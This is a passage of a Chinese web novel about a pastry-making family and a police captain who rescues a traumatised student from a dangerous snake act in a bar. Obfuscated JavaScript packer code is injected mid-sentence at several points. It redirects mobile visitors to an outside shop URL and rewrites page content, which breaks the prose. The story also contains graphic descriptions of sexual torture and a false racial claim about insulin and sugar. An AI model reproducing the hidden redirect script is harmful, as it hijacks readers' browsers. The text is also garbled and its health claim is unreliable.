先祖说过:人本不需要太多的糖,糕点是干啥的?是零嘴,是助兴的,是让心里难受的人吃点甜味,暂时忘了生活的苦。 武鹤翔总说家武的糕点香而不甜,不是现在年轻人喜欢的味儿。武家糕点,香是米香,麦香,奶香,果香,药香,甜只是调味的,不可为口腹之欲,乱了本源清味。 再说那些奶油蛋糕当什么好玩意儿呢?那美国满大街三百多斤大胖子,都是吃这高油高糖的玩意儿吃的! 美国的穷人把这玩意儿当饭,因为这些玩意儿便宜,有钱人才吃蔬菜水果呢! 那些国外传过来的高糖玩意儿,其实全是洋垃圾。 白人跟中国人体质不一样,他们的胰岛素解糖功能更强,吃高糖也不怕。 咱们中国人不行,没那么强的胰岛素,吃那么甜的能不生病吗?武鹤翔两百多年的家传祖训,道理他都知道,他就不去做! 武厉枭知道,爷爷性情耿直,你劝他说天底下做高糖点心的人多了,爸爸只是为了顺应时代潮流,如今的荣宝斋集团除了蛋糕厂和十几家荣宝斋分店,还有妈妈的汉服公司和网络传媒公司,固定资产加在一起过千亿。家里的十几处二百平方米大平层和二十多处别墅,以及三十多家店面和四十千克的建行999金条,都是爸爸打破传统得来的。可爷爷那么清高固执的老人家,怎么好跟他较劲呢? 武厉枭忙挽着爷爷的胳膊撒娇道,“您不爱看他,就当陪我呗。您不在,我惦记您,惦记得吃不下饭。” 武月直马上转怒为喜道,“好好好,爷爷就给你个面子,去吃饭。”然后又拿出了一大包椒盐酥饼、桂花糕和冰晶糕,“这是今天刚做好的,明天拿给你妈妈吃。一块也不给武鹤翔!” “是,”武厉枭笑道,“爷爷,咱家的糕点,我吃一辈子都吃不够。” “那是,”武月直得意地说,“今天有个顾客来买糕点,一口气买了五斤的老婆饼和五斤核桃酥。他说昨天他来本来一样买了半斤回去尝尝,结果回家后一打开包装纸,嗬,蜂蜜透鼻香!那核桃酥咬上一口,太酥脆了,全是货真价实的核桃香奶香。他说他老父亲说:天底下就没有哪家点心铺像荣宝斋武家老号这样,这么舍得用好料!咱家的桂花酱、玫瑰酱、荔枝煎、凤梨蜜……那都是有秘方的,一代代口传心授,传下来的。武鹤翔那龟孙看不上,说那些秘方制起来太繁琐,不适合量产。他知道个六饼!没那些秘方,荣宝斋能传二百多年?没秘方就没了魂!” 武厉枭笑道,“对了爷爷,您这么大岁数,想不想收个徒弟来帮帮您?” “唉!”武月直叹了口气,灰心道,“徒弟找师父一时,师父找徒弟一世。爷爷年轻时候都也收过徒弟,那小子心术不正,我就给赶走了。现在年轻人喜欢当网红,直播带货挣快钱,谁喜欢学我这老掉牙的手艺呀,连我自己儿子都嫌弃我!” “给您开开眼!”武厉枭拿出手机举到武月直面前,“您瞧这个枣花馍做得怎么样!” “天爷呀!”武月直登时眼睛就亮了起来。 只见那菊花做得跟真花似的,这花瓣,这萼蕊,这手法是融合了面雕和面塑的手艺,以果蔬汁和仙人掌粉固色,才能有出这种温润的色泽,而不是食用色素的贼光。 这枣花馍里有故事,有阅历,有深度,没个几十年白案伺候不出来这样的活儿! “枭枭,这位老师傅在哪儿住呢?我得提一份厚礼,去跟他结交。” 武厉枭笑道,“不是老师傅,是个年轻人,人家比我还小好几岁呢。” “年轻人?”武月直摇头道,“不可能。你瞧这花瓣,一片片多整齐,那是用剪子一片片剪出来的,这蕊丝,蒸熟了都这么细,做的时候得搓成头发丝一般粗细才行。年轻人哪有这个耐心!” “这年轻人不是别人,说出来您还认识——晏清。” “晏清?”武月直恍然大悟,“你小时候从地缝里刨出来了那个?” “对对对,您记性真好!”武厉枭把头靠在爷爷肩上,“那孩子现在读大学呢,靠打零工自己养活自己,怪可怜的。我想求您,让他在店里打工。他小小年纪,妈妈和他断了联系,爷爷奶奶都死了,爸爸还在坐牢,本来十年就能放出来的,谁知道在里面屡次把人打伤,反复加刑……那孩子前几天还被一伙毒贩子骗去了,特别危险……我想着,再这么下去,早晚非学坏不可,就想着让他上您这来,一是帮您忙,二是在您身边受受教育,跟您好好学学做人的规矩和道理。” 武月直眉开眼笑道,“爷爷别的不敢说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“放学的时候,我们看到商店里卖那些粉色塑料小花篮的奶油蛋糕,上面有各式各样的小花,还写着字,特别好看……” “我们想尝尝啥味的……” “太贵了,五块钱一个……” “大人肯定不给买……” “荣宝斋的东西好吃又便宜,我们来问问……” “好,三天后,叔叔让你们吃上奶油蛋糕。” 武月直蛋糕厂进了十几个小塑料盒和裱花袋,又买了几罐奶油,自己做了几个小蛋糕。 三天后,那些孩子们来了,他按一块钱一个卖给他们。 但就是这样,那几个孩子也是你一毛我五分的凑出了一块钱,买了一块小蛋糕。一人一小口吃得舔嘴抹舌美滋滋的。 后来,街坊邻居都知道武月直做奶油小蛋糕,跟他说让他做过生日那种大蛋糕,那玩意儿贵,挣得多。 武月直拒绝了,“我是为了满足那几个孩子的心愿,要不,我也不会背离祖训的……” “枭枭,那件事让爷爷明白了一个道理:当繁楼的首席糕点师,伺候有钱人,能多赚钱。可是那些有钱人不会像那些孩子们一样,那么爱吃我做的东西,那么稀罕我的手艺。比起当什么首席糕点师,我更爱把没啥利润的小蛋糕送到孩子们手里,换一个真心实意的笑模样。” “爷爷,有您在,我啥都不怕。您放心,我一定会留在老宅陪您,守着店,守着秘方,守着老武家的家规。” 5. 人蛇表演 荣宝斋武家老号是一座两进两出的四合院。新中国成立前原是四进四出的金瓦珠阁雕梁画栋的大宅门,还有个占地约三十亩左右的花园子,亭台楼阁,小桥流水,花木扶疏,也甚是清幽雅致。 新中国成立后,武月直的父亲将后面的两进宅院和花园都献给了政府,缩小了经营规模,遣散了仆人和帮工,只带着妻子和两个徒弟亲自劳作,故而划分成分时,给定了“城市手工业者”。 公私合营后,武月直的父亲母亲和两个徒弟也一直作为工人在荣宝斋上班。 □□结束后,武月直的父母双双去世,政府归还了老宅和老店面,他就延续了先人们的做法,前院经营老店,后院自家人居住。 穿过一殿一卷式的垂花门,才算入了武家内宅。垂花悬柱雕成含苞莲蕾,下缀流苏,两侧抄手游廊婉转,红柱绿栏,梁枋间满是和玺彩画,廊壁嵌着书法石刻。庭院用金砖堰地,中央置一口巨大的汉白玉门海,养着几尾金鲤,缸边石榴、海棠、玉兰、连翘相映成趣,枝桠间挂着精致的铜铃,风过叮当。 正北是内宅正房,高脊灰瓦,前出廊厦,明间为堂屋。屋内花梨木的条案、八仙桌、太师椅一应俱全,条案上陈设着古玉、官窑花瓶与自鸣钟;墙上挂着清山水巨轴,两侧楹联墨迹苍劲。东西厢房各三间,对称而立,窗福是透雕的“松鹤延年”“岁寒三友”,屋内铺设着万字纹的羊毛地毯,陈设虽不似正房庄重,却也雅致不凡。 武厉枭因父母工作忙,从小就在爷爷家长大。即使现在到了二十六岁,也没有回别墅跟父母同住。 一是考虑武月直年纪大了怕孤单,需要有人陪伴。二是老宅又大又空,除了武月直自己,就是老服务员黄明发老两口子在那里住。 黄明发和他老婆原是市国营机械厂的工人,九十年代下岗后,来到荣宝斋想求一份工作。 武月直看他们可怜,就收留了他们夫妻一个做糕饼,一个做家务,还提供住房给他们,包了全部食宿。 如今老黄的儿子大学毕业去了南方安家落户,几次说要把父母接过去养老,可老黄两口子就是不去,就要留在荣宝斋。 他们说:跟着老掌柜的干活,心里踏实。除非老掌柜的嫌我们不中用,否则我们不走,荣宝斋才是我们的家。 虽然老黄夫妻俩忠心耿耿,但毕竟是过了六十的人了。一屋子老人怕不安全,故而武厉枭至今仍住在武家老宅陪伴爷爷。 三天假期还没过完,武厉枭就接到了局里要求她归队的电话。 原来是二队刚破了一个案子:当地美术学院的一位教授长年打着招募模特的名义,将多位容貌出众的少男少女骗到自己的地下工作室里对其实施侵害,并将其惨叫哀嚎遍体鳞伤的窘态绘制出来,加以收藏。 最近因一位少女不堪受辱悲愤自尽,变态教授的恶行被曝光出来。二队在他的地下工作室里搜查出了大量的录音、录像和水粉油画作品,其场面堪比萝莉岛大屠杀,简直令人发指。 武厉枭和一队的人负责协助二队整理受害人名单,让她更意想不到的事——受害人中居然有苏晏清的名字! 武厉枭赶紧叫李大刚调出关于变态画家收藏的关于苏晏清的资料。 当里面那些不堪入目的悲愤绝望的惨叫传来时,见惯了生死的武厉枭吓得赶紧闭上了眼睛,捂着嘴跑到卫生间里狂吐不止。 她不敢相信,那个她当年跳下地缝里就出来的孩子被用麻绳倒吊着,身上遍布鱼网似的鞭痕…… 他那俊逸如画的脸庞上满是掌印和泪痕,那些罪恶龌龊的器具还在他的生殖器官上肆意凌虐侵犯…… 武厉枭心痛成了碎片,眼泪滚滚而落。 那个变态!他该千刀万剐!武厉枭紧紧握住手中的枪,恨不得亲手将那禽兽千刀万剐! 晏清……我的晏清……怎么会这样…… 武厉枭擦干泪水,回到了办公室,“大刚,把苏晏清的电话发给我。” 李大刚答应一声,“队长,你是要……” “我要联系那孩子,帮他申请经济赔偿。” 苏晏清的电话很快拨通了,那边传来一声清越如山涧碧溪般的“喂,你好!” 武厉枭的眼泪差点又落了下来,勉强哽咽道,“你好,苏晏清,我是武警官……有一件事,我想……征求你的同意……” “姐姐,不……武警官……您怎么了……心情不好吗?” “没有……我们面谈,好吗?” “嗯……好,不过,我现在还在做兼职的地方,两个小时后结束。到时候,我去找您,可以吗?” “兼职?”武厉枭的神经又紧绷了起来,“你在哪里做兼职?我去找你。” “我在心雨林酒吧。” “酒吧?你在那里做什么?做服务生?” “嗯……做演员……” “我去找你。” “不,姐姐……武警官……您别来……” 心雨林是市中心繁华地段的一间高档酒吧。也是这个城市中红男绿女的集中营。 据说,这个城市中有许多欲望无处安放的躁动灵魂,汇集成了一个个数百人的微信群。群里总有些活跃分子是受欢迎的所在,他们能攒成各种不同的饭局。 无论是油腻中年呲花嗅蜜,还是女生想找傻大款接盘侠,都可以联系活跃分子们组成所谓的朋友聚会,满足饮食男女们。 而那些聚会的场所,就是心雨林酒吧。 别看这间名字土气了些,却也是有些二十多年历史的老牌酒吧了。里面的秋千椅冰花露橙汁也升级为带着火焰的勇敢的心、霞光雪山、少年游、铁树银花等种种漂亮酒。 武厉枭在一大群桌游、飞行棋、真心话大冒险和色盅喧嚷中找到了苏晏清。“啊!”如果不是顾及身份,武厉枭差点就尖叫出来! 苏晏清赤裸着上身,脸上和身上被画上的密密匝匝的蛇鳞,青的、紫的、粉的、蓝的,活像满身邪恶的淤伤,却又出奇的妖异。 而他的两条腿上被套上的假的白蛇尾,雪亮亮的鳞片在灯光下分外刺目。 他躺在人群中的舞池里,艰难地蜿蜒着,绝望地蠕动着,如被猎人俘获,被搁在了砧板上一般。 “哎呦我!真够骚的……” “这是人还是蛇呀?这就是个男蛇精吧……” “性转般白素贞吧?哈哈哈……” “现在才知道,许仙才是真男人,丫敢玩蛇……” “我说今晚心雨林咋那么多人,感情今晚的体验赛商纣啊……” 就在看客们流着口水恨不得一拥而上将苏晏清生吞活剥时,工作人员突然往舞池里扔出一条四米多长的大黑蟒,把众人吓了一大跳。 那阴森森的蠢物,身子如一棵百年阴沉木那么粗,活活地压在苏晏清身上,咻咻地探出鲜红的信子,一寸寸地舔舐。 所有人都瞪大了眼睛屏息凝神,连音乐都停了,现在连呼吸声都听不到了。他们如探颈待宰的鸭子般,等着看大黑蟒的下一步动作。 大黑蟒突然发起狂来,如蛟龙般一跃而起,吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849712|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 得众人一阵尖叫,然后那粗壮的身子竟然把苏晏清一圈一圈给绞住了!“啊!”人群里有爆发出兴奋而期待的尖叫,“它要交尾啦……” “对,它要和那男白蛇□□……” “哈哈,它把那男的当母蛇啦……” “我靠!能看到人□□啊……” “妈的,真该录下来……” 苏晏清被勒得传不过气了,脸色从青红变得紫涨,他拼命挣扎,下死力地捶打着蟒蛇,汗珠与眼泪齐落,发出阵阵哀嚎吼叫,“放开……放开我……我不是蛇……我不是坏人……我没罪……啊啊啊啊……救命……我不要钱了……我退钱给你们还不行吗……救救我呀……” 他的挣扎在那群冷酷麻木的观众眼里是最凄媚脆弱的表演,引来了更多猥亵的声音。 “妈的,看得我都硬了……” “这特么比岛国爱情动作片刺激多了……” “你说他被蛇干了,能不能怀孕……” “说不定几个月后,他屁股里下出一大堆小黑长虫……哈哈哈……” 武厉枭再也看不下去了,她找到酒吧老板,亮出证件,打开执法记录仪,“我是公安局刑警一大队队长武厉枭,你们违规用危险动物进行表演,已经触犯了法律,请立即停止,将那个男演员解救出来。” “哎呦警察同志,那条蛇是拔光了牙的,很温顺的,没毒性,是桃女山旅游风景区的表演蛇,很安全的。” “可它现在正在发情,演员会被绞死的!” 老板满不在乎道,“这是节目的看点,不会有什么危险的。这场节目事先排练好了,演员也同意了。那蛇表演过很多次了,都没什么问题。” 武厉枭知道说不通了,迅速从找到一把菜刀,飞快地冲进舞池中央,对着大黑蟒的七寸处就是一刀。 大黑蟒腥臭的血流了出来,疼得从苏晏清身上腾跃而起,猩红着眼睛来反头来咬武厉枭。 武厉枭手疾眼快,又是一刀下去,正砍在它坚硬的头上,划瞎了它两只眼睛。 蛇疯了似的扭曲着身子张着血盆大口要活吞她,武厉枭一个侧身飞蹬,直接跳到大蛇背上抡起菜刀一阵狂砍,将大蛇砍得鲜血淋漓肉块飞溅,最终一动不动地死了。 整个酒吧早就乱成一团了,受到惊吓的客人们如遭遇森林大火的野兽般四散逃窜,桌椅板凳杯盘碗碟碎了一地,无数的名酒被撞翻,蜡烛台倒在上面,燃起了簇簇的火苗。精焰中武厉枭的那血水肆流的脸如浴火凤凰般,美艳而狰狞。 武厉枭从死了的黑蟒身上站起来,拉起苏晏清,帮他除掉了假蛇尾,“去换好衣服,跟我走。” “想走,没那么容易!”酒吧老板带着一众人高马大的保安拦住了武厉枭,“今晚的损失你得赔给我,否则我去公安局告你扰民,让你丢工作。” 武厉枭毫不畏惧,“你危害他人人身安全,违法经营,侮辱强制,开展违法违规娱乐活动,已经触犯了刑法。我已报警,我的同事马上就来。你最好赶紧放我走,否则再加一条袭警罪,还得多做几年牢。” “妈的,你刚宰完蛇,老子不相信你还有力气……” 武韬熊拿出枪来对准老板,厉声喝道,“你看我有没有力气!你的行为我已经都录下来了,你雇佣打手威胁恐吓警察,有重大涉黑嫌疑。我这里的子弹可是满的。如果我真开枪的话,你讨不到一点便宜!我可是连蟒蛇都能杀死的人!” 酒吧老板想到刚才那一幕,吓得一激灵,连忙和手下退后,放任武厉枭带苏晏清离开。 6. 同学聚会 武厉枭带着苏晏清去附近的洗浴中心洗了个热水澡,用同城快递买了两套干净的衣服。二人换上后,又去了一家安静的本地餐厅,找了一个雅间,点了两荤两素,还有一道奶白色的水蛇豆腐羹汤。 武厉枭给苏晏清盛了一碗汤,“尝尝这碗蛇羹,清热凉血的。我知道你害怕,吃它,是为了帮你脱敏,让你知道,那蛇不过是人的手下败将,人可以杀它,把它剁成泥,熬成汤,它只是人的口中食,没啥可怕的。” 苏晏清喝了一口香气扑鼻的热汤,眼泪又落了下来,“谢谢你……姐姐……哦,不,武警官……” 武厉枭笑道,“我哪有这么多名儿呀,叫你最顺口的,叫姐姐就行。你别信那几个家伙吓唬你的话。他们平时还管我叫义母呢,我不是也答应了!” “嗯,谢谢姐姐……” 武厉枭给他夹了一块肉,满含责备地看了他一眼,“你这孩子怎么回事啊?上次找兼职不吸取教训,被人贩子骗,这次又做这么危险的兼职。你知不知道你差点就没命了!” “对不起,我……在网上看到,可以多挣点钱……一场一千……” “钱重要还是命重要?我不是叫人给了你荣宝斋的联系方式吗?荣宝斋的老板是我爷爷,他人很好的,不会亏待你,你去了也能学到不少东西。怎么,你信不过我?” “不是,我觉得……我不配……我……” “你怎么会不配呢?无论别人做了什么,都和你没关系。”武厉枭叹了口气,“我今天来,是那个美术学院教授落网了,我可以帮你申请赔偿。” “姐姐……你……都知道了……”苏晏清身子一抖,竟“扑通”一声倒在地上,眼泪猝不及防地落了满脸,如瀑布冲刷一般,抱着头痛哭不止。 “晏清,”武厉枭忙去扶他,苏晏清却整个人往后缩,“姐姐,别碰我,我脏……呜呜呜……”他边哭边扇自己耳光,啪!啪!啪!啪……把自己的脸打得红肿热痛,“那段时间,我在奶茶店打工……那个人……说我可以给他做模特……做一次……一个小时……400块钱我……我……我好蠢……我总上当……我这种人……天生就是带着诅咒……我不配活着……” “晏清,你听姐姐说,你不脏,你是好孩子!你放着燕大不读,去读山大,你把一半的奖金都给了福利院,你是最善良的孩子!” “不……我不是……我被人……我脏……呜呜呜……我带着罪恶出生,如果不是为了生我……爷爷奶奶不会去拐卖人口……” “他们犯的罪,与你无关。” “如果不是我掉进地缝里,爷爷奶奶和爸爸不会坐牢……” “他们犯罪,理应受到惩罚,不是你的错。” “可是妈妈也不要我了……” “你妈妈……她想有自己的人生……她那个时候才21岁,她要返回大学完成学业。” “她为什么这么多年不来看我?还是恨我,对吗?” “不,”武厉枭蹲下来抚摸着苏晏清的头,温言道,“她不恨你,你是她生的,她抚养你到四岁,她是很爱你的。只是,她不知道如何面对你,因为你代表着她那段屈辱残破的人生。” “我只想看看她,我不会管她要钱的……” “跟钱无关,晏清,”武厉枭扶起他,“你就当……这个世界上人与人之间……都是靠缘分维系的。你们有一段母子缘分,她生了你,抚养你到四岁,然后缘分尽了,她要开始走她的路了,你也要开始走你的人生了。” “可是,如果缘分尽了,我还是很想她,很爱她,该怎么办?” “那就用一种最美好的想象去祝福她。你妈妈本就出身于高级知识分子家庭,当年她以高分考入华中科技大学。她重返学校后,年年拿奖学金,读研,读博,如今说不定已经是中科院的院士了。她会结婚,有了优秀的丈夫,可爱的儿女,富裕的家庭。她会很幸福,你看到妈妈幸福,你也很幸福,对吗?” “对,”苏晏清点点头,“姐姐,我那里还有……我的衣裤……上面有……证据……必要时……我可以……出庭作证……” “不用,”武厉枭扶起苏晏清,“把证据交给我就可以,不用出庭作证,姐姐不希望你受到二次伤害。” 苏晏清拿出五百块钱交给武厉枭,“上次……丧宴的钱……我知道,是您垫付的……那个时候,我没有钱,就收了……昨天,我的助学金发下来了,我把这五百块钱还给您……” “不用,晏清,这是你的劳动所得。我们缴获了毒贩子的大笔钱款,自然要把他们欠的债务一一还清。” “姐姐,您……”苏晏清拉了拉武厉枭的袖子,那双湿漉漉的眼睛闪着璀璨的波光,眼白如婴儿般,是纯净的清白色,如林间晨雾中的呦呦惊鹿,“您别嫌我脏,行吗……” “你不脏,你是天底下最干净最可爱的孩子。” 武厉枭将苏晏清送回学校后,在手机里的大学同学微信群中收到了一份邀请函——十日后在母校附近的炬仙阁举行同学聚会,带家属参加。 武厉枭揉揉头,这是她最尴尬的时刻! 他们刑侦专业有个传统,每隔一年都会搞一次同学会。而她作为大学时就立过几个一等功的优秀学员,是班里的灵魂人物,大家都盼着她参加,她不忍心拂了这份好意。 可前年去参加时,一百多个同班同学,已经有十个都带家属去了。这两年更是陆陆续续的结婚的结婚,生子的生子,她几乎每个月都要随出一份礼金。 平时同学们发微信问候时也会说:“我们的女英雄什么时候名花有主啊……” “公安大学最闪耀的木棉花也该有枝头可栖呀……” “要不要给你介绍几个,刑侦二班的好几个男生还都单着呢……” “前几天还有个男生问我打听你,现在在你们那片的派出所管户籍……” 天哪!这不是公开处刑吗?武厉枭真想那天干脆就待在局里通宵加班就算了,懒得去应付那些杂七杂八的八卦,还得强装一副笑脸给别人提供情绪价值。 魏三有递过来一罐红牛,“队长,你今天不是有同学聚会吗?怎么还不赶紧回家换衣服呢?” 武厉枭眼睛盯着电脑道,“去不去不一定呢?” “要我说您还是去一下吧,您的同学大多数也都在公安口儿,日后难免有个协同办案跨界合作什么的。你也趁这个机会休息休息。” “休息不了,这不是刚接到一个拐卖妇女儿童的案子吗?听受害人家属说,那人贩子二十年前就开始作案了,是个老手……” “是啊,说得也奇怪,好几个目击者说:人贩子是在商店里抱走孩子的,带着鸭舌帽和口罩,身上有股子糖油糕饼香……” 武厉枭想了想,“糖油糕饼香?我爷爷最能分辨出来。不行,我得给爷爷打个电话……” 魏三有笑道,“你就算着急案子也心疼心疼他老人家吧。要是你真把武爷爷叫过来,他看你这大黑眼圈不得心疼死?要我说你就算不参加同学会,也回去洗洗澡换换衣服,再好好睡一觉。案子哪有办得完的?” “早点办完,也好早点找个理由跟兄弟们聚聚。”武厉枭笑道,“三有,我还想听你那让二追三的唱法呢!” 魏三有笑道,“义母,您那些同学人脉广,路子宽,认识的人也多,保不齐今天的同学会上就有缘分等着您呢!怎么,您不该不会是不敢去吧?” 武厉枭这个人向来好胜心爆棚,最怕激将了。“谁不敢呀!去就去!我现在就回家换衣服,给它来个现场抓捕,缴获赃物!” 八 武厉枭洗完澡后,望着镜子里自己的脸,长年在一线刀尖舔血的女人真的是不够精致妩媚。 皮肤不够白净,有些黑黄粗糙。眉毛浓黑而纤长,尖细的眉尾,看着有几分凌厉。大大的弯月形的眼睛黝黑得看不见白眼仁,笑起来的确是亲和力满满,但盯着犯罪嫌疑人时让对方屁滚尿流的。嘴角微微下垂,不笑的时候看起来有几分严厉。 所以武厉枭不笑的时候,队里的人都有几分怕她。即使私下“义母义母”地叫,手上的工作也一点都不敢含糊。 武厉枭打开衣柜,里面不是警服就是运动服休闲装,连一条裙子都没有。 唉,这种场合……还不尴尬死! 其实武厉枭最尴尬的是——赵淮晋。 赵淮晋是她大学时的同班同学,当年他们二人在警校里成绩不相上下,包揽了所有公安核心课和专业课的第一和第二,智能侦查、专业取证、莫名实战等各项技能大赛也是屡获佳绩,被誉为“警校神雕侠侣”。 赵淮晋身高185公分,小麦色皮肤,八块腹肌大长腿,浑身腱子肉,标准的雕塑型身材,五官也是剑眉星目英挺俊朗,气质如柏木般坚韧出众,还曾经参加省健美比赛得了总冠军,是全校公认的校草,女生们的男神。 而且,赵淮晋这个人性格开朗,亲切和气,跟所有女生都能打成一片,妥妥的“妇女之友”。 他对武厉枭也非常友善,大大咧咧不拘小节。 打篮球的时候明明那么多女生在场,直接把外套丢过去,“枭枭,帮我拿着衣服!”运动会上场也如此,“枭枭,过来帮我别一下号码牌。”然后拿起武厉枭的水就喝,喝完揉揉她的头发,“待会儿看哥给你打下一片江山来。” 班级聚餐时招呼武厉枭,“枭枭,坐我这儿来,你不爱剥龙虾壳,等下我给你剥……”请大家喝奶茶时也会嘱咐,“那瓶热的芋泥啵啵是给枭枭的,她这几天不能吃冰的……”给同学们带妈妈做的卤牛肉也会嘱咐,“你们吃那个蓝色盒子里的,粉色盒子的是不辣的,是特意留给枭枭的,枭枭不爱吃辣椒……”和室友们出去逛街,回来带了一盒子枣花酥送到武厉枭宿舍楼下,“听说这家店也是老字号,不知道跟咱爷爷做的味道像不像,我特意买来给你尝尝……” 全班一起包饺子时,他一会儿包个白菜形状的,一会儿包个金鱼形状的,然后宣示主权般地说,“待会儿煮好了捞饺子时记得,白菜饺和金鱼饺是给我枭枭的……” 头发长了些他也去找武厉枭,“枭枭宝贝,你看我剪个微分碎盖如何,你喜欢吗……你喜欢我穿警服还是运动服……” “枭枭,你看哥最近身材有没有什么变化,是不是腹肌更大了?真的,不信你摸摸?女人,满意你看到的一切吗……” “枭枭宝贝,过春节来我家好不好?我经常跟我妈说起你,她可喜欢你了,让我邀请你来我家玩,她要给你做板栗红烧肉和花生酱炒鸡……我家附近的小花园里还有一个我的秘密基地,到时候我带你去看……” 如果武厉枭说不去,赵淮晋又说,“是我太宠你了吗?你这个折磨人的甜蜜小妖精……” 赵淮晋经常给武厉枭买酸奶,买零食,他知道武厉枭喜欢吃草莓、蓝莓、芒果,每次都是洗好后用保温盒装着给武厉枭送过去,“枭枭,有没有人跟你说过,你的笑容特别美,女人,你引起了我的注意……” “枭枭,你穿上这身新的训练服,显得身材太赞了。你这哪里是要训练,你是在我的心头上玩火……” “枭枭,我觉得有句歌词特别适合你,你是我的玫瑰你是我的花,你就是咱们警校最美的玫瑰花……” “枭枭,你这么好的姑娘,我不敢想象你哪天被人抢走了,我该有多伤心欲绝……” 同学们一起玩“真心话大冒险”时,赵淮晋对武厉枭满满的维护,“你们要灌酒冲我来,别灌我家枭枭……” “行行行,你们想听真心话是吧,我喜欢什么样的女生?勇敢、坚强、善良、果断……总之就是有英雄气概的女生……” “哎呀,你们别为难枭枭,大冒险冲我来……行,加倍就加倍。晋哥给你们来个更狠的,往脖领子里倒冰块!来,倒!靠,真特么凉……” 警校举办化妆舞会,赵淮晋拉着武厉枭去附近的汉服妆造店里,帮她选了一套纯白的雪纺长衫和襦裙,自己则挑了一条极为素雅的棉麻质地长袍披风,把一条胳膊缩起来,右手拿着一把剑比比划划,“枭枭,看我这样像不像杨过?反正他们总说咱俩是神雕侠侣,答应我,你就穿这件白色的,好不好?你穿上一定比小龙女更好看!” 武厉枭的眼睛像两泓灵动的清泉一般,面色潮红道,“那……他们不得更起哄了……” 十八岁的武厉枭就这样稀里糊涂地跟他混了两年。 大三开学时,她鼓起勇气找到赵淮晋,“我爷爷说,不让我太早谈恋爱……我现在……满二十岁了……” 赵淮晋揉揉她的头发,“恭喜你啦!我终于等到这一天了,待会儿请你吃火锅,咱们好好庆祝一下。” “嗯……”武厉枭脸红得像晚霞,“你有没有什么话……想对我说……” “有啊,就是想告诉你,你是最可爱最讨人喜欢的女孩子。” “还有呢?” “还有就是,认识你是我这辈子最大的荣幸,我很开心有你这么个妹妹。” “妹妹?”武厉枭脑子“嗡”地一下子,“你说我是你的……妹妹……” “对呀!”赵淮晋抚摸着她的脸颊,“我十岁那年,妈妈怀孕了,可是出了点意外,胎儿流产了,是个妹妹。为此,我们全家都非常伤心,妈妈也再没怀过孕。没人知道,我是多么盼望着妹妹出生,多希望有个妹妹。后来,为了缓解这种难过的心情,我就对女同学好,把她们当成妹妹。” 武厉枭眼前一黑,几乎站不稳,颤着声不可思议道,“所以,我也是……那诸多女孩子之一……是吗……” 赵淮晋双手抚着她的肩膀,替她理了理额前的刘海,“你跟她们怎么能一样呢?你聪明,勇敢,善良,能干,有魅力,如星星般闪着耀眼的光芒。在我心里,你永远是独一无二的。” “独一无二的妹妹,是吗?” “对,一辈子被我放在掌心里呵护的,我最疼爱的小妹妹。” 武厉枭深吸了一口气,把眼泪憋进心里,挤出一个笑容,“哥,谢谢你,谢谢你把我当成妹妹。我也是一直把你当成亲哥哥。今天,妹妹来请你吃火锅吧。” 武厉枭请赵淮晋吃了一顿海底捞,那次的火锅味道如何她毫无印象,只记得自己在强颜欢笑中体味着“一次主动换来一生内向”的惨痛与失落。 毕业后,她再也没和赵淮晋见过面,也从不主动了解他的近况。她知道,她是在逃避。逃避那个在学校林荫路上一脸光风霁月地否定她的少年,逃避那个芳心错付的傻傻的自己。 九 武厉枭来到了同学会的时候已经迟到了几分钟了,她在同学们的掌声和欢呼声中一一握手、拥抱,热络地打着招呼,果不其然地被安排在了赵淮晋身边,被迫接受这个西装革履更加丰神俊朗的男人送她的一大捧狐尾百合花,“枭枭宝贝,好久不见,送给你,我的女神。” 武厉枭笑着接过花,给他来了个大大的拥抱,“哥,谢谢你,只是这花,妹妹想分给在场的每一个女同学,行吗?” “当然。”赵淮晋颇有绅士风度的一笑,“枭枭还是那么大气。” 武厉枭把狐尾百合分发众人时,竟看到了一个令她万分意想不到的人——隔壁桌的苏晏清! 他就那么安静地坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王芳华得意不已,“你知道个啥呀!小有小的好。” “小的又鲜又嫩,是吗?哎呀,我们没你这个福分呀……” “芳华,终于享受到了武则天的待遇吧……你和这小弟弟怎么认识的?” “古铜山温泉度假村认识的。” “妈呀……”在场一片哗然。 “不是吧不是吧……” “太欲了吧……” “温泉里,穿着泳衣,纤毫毕现呀!” “美艳御姐和薄肌少年……” “烈焰红唇,熊熊燃烧……” “哇哇哇……芳华,你得跟这小弟弟喝个交杯酒呀……” “对对对……交杯酒!交杯酒!交杯酒……” 起哄生此起彼伏,王芳华笑得踌躇满志,如女王一般,“你们呀,也别光打趣我呀。淮晋和厉枭是出了名的警校神雕侠侣,你们不关注一下后续吗?” 